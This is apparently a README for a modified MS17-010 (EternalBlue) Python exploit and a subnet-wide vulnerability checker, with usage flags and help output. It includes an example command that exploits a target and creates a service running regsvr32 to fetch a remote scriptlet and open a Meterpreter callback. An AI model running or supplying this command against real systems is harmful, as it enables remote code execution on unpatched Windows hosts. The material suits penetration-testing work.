MS17-010: Python

Worawit Wang released a collection of Python exploits for MS17-010. These tools worked far more reliably than the Metasploit modules but didn't have much of a payload besides writing a pwned.txt to the C:/. However, Worawit Wang did add functionality for creating a service.

Korey McKinley wrote an article utilising that function to create a service which used regsvr32 to call back to Meterpreter and create a full Meterpreter connection. I'd never seen that path to exploitation, so I thought I'd modify zzz_exploit.py with Korey's logic and make the script more dynamic and user friendly.

However, the module Korey used in that blog article was not available in my version of Metasploit. It is now called web_delivery.

The zzz_exploit.py found in this repo is the same exploit logic. But it has been made more dynamic. It is now possible to pass user and password with the -u and -p, respectively. A command to write to a service is passed with the -c option and the target and pipe are -t and -p.

Logger.py is just a script I've been reusing with all my code to prettify output. If deleted, zzz will break :)

Here is the full help page output:

➜  MS17-010 git:(master) ✗ ./zzz_exploit.py --help

optional arguments:
  -h, --help        show this help message and exit
  -u , --user       Username to authenticate with
  -p , --password   Password for specified user
  -t , --target     Target for exploitation
  -c , --command    Command to add to service
  -P , --pipe       Pipe to connect to
  --version         show program's version number and exit
Example: python zzz_exploit -t 192.168.0.1 -c 'regsvr32 /s /n /u /i:http://192.168.0.1:9000/1EsrjpXH2pWdgd.sct scrobj.dll'

I wrote an article using Korey's payload and the new changes to the script, please see it here

I made similar changes to checker.py, but the only additional logic I added was to be able to effectively run this script across a subnet. I imported the netaddr module and wrote a short for loop to run across the subnet.

Here is the help page for checker.py:

➜  MS17-010_WORAWIT git:(master) ✗ python checker.py --help         
usage: checker.py [-h] [-u] [-p] -t  [--version]

MS17-010 Checker script

optional arguments:
  -h, --help        show this help message and exit
  -u , --user       Username to authenticate with
  -p , --password   Password for specified user
  -t , --target     Target to check for MS17-010
  --version         show program's version number and exit

Example: python checker.py -t 192.168.0.1
